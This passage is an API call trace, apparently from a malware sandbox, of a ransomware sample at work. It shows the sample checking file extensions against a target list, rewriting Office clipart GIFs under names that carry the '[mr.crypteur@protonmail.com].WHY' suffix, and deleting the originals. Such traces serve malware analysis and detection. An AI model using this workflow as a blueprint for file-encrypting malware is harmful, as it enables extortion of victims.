lpString2=".xsl") returned -1 [0232.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.461] lstrlenW (lpString=".1cd") returned 4 [0232.461] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.461] lstrlenW (lpString=".jpg") returned 4 [0232.461] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.461] lstrlenW (lpString=".doc") returned 4 [0232.461] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.461] lstrlenW (lpString=".docx") returned 5 [0232.462] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0232.462] lstrlenW (lpString=".pdf") returned 4 [0232.462] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.462] lstrlenW (lpString=".xls") returned 4 [0232.462] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.462] lstrlenW (lpString=".xlsx") returned 5 [0232.462] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0232.462] lstrlenW (lpString=".ppt") returned 4 [0232.462] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.462] lstrlenW (lpString=".zip") returned 4 [0232.462] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.463] lstrlenW (lpString=".rar") returned 4 [0232.463] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.463] lstrlenW (lpString=".bz2") returned 4 [0232.463] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.463] lstrlenW (lpString=".7z") returned 3 [0232.463] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.463] lstrlenW (lpString=".dbf") returned 4 [0232.463] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.463] lstrlenW (lpString=".1cd") returned 4 [0232.463] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0232.463] lstrlenW (lpString=".jpg") returned 4 [0232.463] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.490] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0232.491] lstrlenW (lpString="AG00004_.GIF") returned 12 [0232.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0232.843] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=9024) returned 1 [0232.843] CloseHandle (hObject=0x384) returned 1 [0232.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0232.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0232.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0232.897] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.897] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0232.915] GetLastError () returned 0x0 [0232.915] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x2340, lpOverlapped=0x0) returned 1 [0232.935] WriteFile (in: hFile=0x320, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x2350, lpOverlapped=0x0) returned 1 [0232.939] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.939] WriteFile (in: hFile=0x320, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.939] SetEndOfFile (hFile=0x320) returned 1 [0232.940] CloseHandle (hObject=0x320) returned 1 [0232.942] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.942] SetEndOfFile (hFile=0x390) returned 1 [0232.950] CloseHandle (hObject=0x390) returned 1 [0232.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0232.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0232.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.971] lstrlenW (lpString=".doc") returned 4 [0232.972] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.972] lstrlenW (lpString=".docx") returned 5 [0232.972] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.972] lstrlenW (lpString=".pdf") returned 4 [0232.972] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.972] lstrlenW (lpString=".xls") returned 4 [0232.972] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.972] lstrlenW (lpString=".xlsx") returned 5 [0232.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.972] lstrlenW (lpString=".ppt") returned 4 [0232.972] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.972] lstrlenW (lpString=".zip") returned 4 [0232.973] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.973] lstrlenW (lpString=".rar") returned 4 [0232.973] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.973] lstrlenW (lpString=".bz2") returned 4 [0232.973] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.973] lstrlenW (lpString=".7z") returned 3 [0232.973] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.973] lstrlenW (lpString=".dbf") returned 4 [0232.973] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.973] lstrlenW (lpString=".1cd") returned 4 [0232.973] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.974] lstrlenW (lpString=".jpg") returned 4 [0232.974] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.974] lstrlenW (lpString=".doc") returned 4 [0232.974] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.974] lstrlenW (lpString=".docx") returned 5 [0232.974] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.974] lstrlenW (lpString=".pdf") returned 4 [0232.974] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.974] lstrlenW (lpString=".xls") returned 4 [0232.974] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.974] lstrlenW (lpString=".xlsx") returned 5 [0232.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.975] lstrlenW (lpString=".ppt") returned 4 [0232.975] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.975] lstrlenW (lpString=".zip") returned 4 [0232.975] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.975] lstrlenW (lpString=".rar") returned 4 [0232.975] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.975] lstrlenW (lpString=".bz2") returned 4 [0232.975] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.975] lstrlenW (lpString=".7z") returned 3 [0232.975] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.975] lstrlenW (lpString=".dbf") returned 4 [0232.975] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.976] lstrlenW (lpString=".1cd") returned 4 [0232.976] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0232.976] lstrlenW (lpString=".jpg") returned 4 [0232.976] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.230] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0233.230] lstrlenW (lpString="AG00038_.GIF") returned 12 [0233.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0233.238] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=3251) returned 1 [0233.238] CloseHandle (hObject=0x290) returned 1 [0233.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0233.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0233.351] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.351] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0233.673] GetLastError () returned 0x0 [0233.673] ReadFile (in: hFile=0x38c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0xcb3, lpOverlapped=0x0) returned 1 [0233.679] WriteFile (in: hFile=0x354, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0233.682] ReadFile (in: hFile=0x38c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.682] WriteFile (in: hFile=0x354, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.683] SetEndOfFile (hFile=0x354) returned 1 [0233.720] CloseHandle (hObject=0x354) returned 1 [0233.730] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.730] SetEndOfFile (hFile=0x38c) returned 1 [0233.766] CloseHandle (hObject=0x38c) returned 1 [0233.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.876] lstrlenW (lpString=".doc") returned 4 [0233.876] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.876] lstrlenW (lpString=".docx") returned 5 [0233.876] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.876] lstrlenW (lpString=".pdf") returned 4 [0233.876] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.876] lstrlenW (lpString=".xls") returned 4 [0233.877] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.877] lstrlenW (lpString=".xlsx") returned 5 [0233.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.877] lstrlenW (lpString=".ppt") returned 4 [0233.877] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.877] lstrlenW (lpString=".zip") returned 4 [0233.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.877] lstrlenW (lpString=".rar") returned 4 [0233.877] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.877] lstrlenW (lpString=".bz2") returned 4 [0233.877] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.877] lstrlenW (lpString=".7z") returned 3 [0233.878] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.878] lstrlenW (lpString=".dbf") returned 4 [0233.878] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.878] lstrlenW (lpString=".1cd") returned 4 [0233.878] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.878] lstrlenW (lpString=".jpg") returned 4 [0233.878] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.879] lstrlenW (lpString=".doc") returned 4 [0233.879] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.879] lstrlenW (lpString=".docx") returned 5 [0233.879] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.879] lstrlenW (lpString=".pdf") returned 4 [0233.879] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.879] lstrlenW (lpString=".xls") returned 4 [0233.879] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.879] lstrlenW (lpString=".xlsx") returned 5 [0233.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.879] lstrlenW (lpString=".ppt") returned 4 [0233.879] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.879] lstrlenW (lpString=".zip") returned 4 [0233.879] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.880] lstrlenW (lpString=".rar") returned 4 [0233.880] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.880] lstrlenW (lpString=".bz2") returned 4 [0233.880] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.880] lstrlenW (lpString=".7z") returned 3 [0233.880] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.880] lstrlenW (lpString=".dbf") returned 4 [0233.880] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.880] lstrlenW (lpString=".1cd") returned 4 [0233.880] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0233.880] lstrlenW (lpString=".jpg") returned 4 [0233.881] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.981] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0233.981] lstrlenW (lpString="AG00103_.GIF") returned 12 [0233.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0234.111] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=12702) returned 1 [0234.111] CloseHandle (hObject=0x388) returned 1 [0234.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0234.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0234.112] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.112] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0234.172] GetLastError () returned 0x0 [0234.172] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x319e, lpOverlapped=0x0) returned 1 [0234.178] WriteFile (in: hFile=0x394, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0234.182] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.182] WriteFile (in: hFile=0x394, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.182] SetEndOfFile (hFile=0x394) returned 1 [0234.182] CloseHandle (hObject=0x394) returned 1 [0234.184] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.184] SetEndOfFile (hFile=0x388) returned 1 [0234.198] CloseHandle (hObject=0x388) returned 1 [0234.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0234.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.223] lstrlenW (lpString=".doc") returned 4 [0234.223] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.223] lstrlenW (lpString=".docx") returned 5 [0234.223] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.223] lstrlenW (lpString=".pdf") returned 4 [0234.223] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.223] lstrlenW (lpString=".xls") returned 4 [0234.223] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.224] lstrlenW (lpString=".xlsx") returned 5 [0234.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.224] lstrlenW (lpString=".ppt") returned 4 [0234.224] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.224] lstrlenW (lpString=".zip") returned 4 [0234.224] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.224] lstrlenW (lpString=".rar") returned 4 [0234.224] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.224] lstrlenW (lpString=".bz2") returned 4 [0234.224] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.224] lstrlenW (lpString=".7z") returned 3 [0234.224] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.225] lstrlenW (lpString=".dbf") returned 4 [0234.225] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.225] lstrlenW (lpString=".1cd") returned 4 [0234.225] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.225] lstrlenW (lpString=".jpg") returned 4 [0234.225] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.225] lstrlenW (lpString="C:\\Program Files\\Microsoft 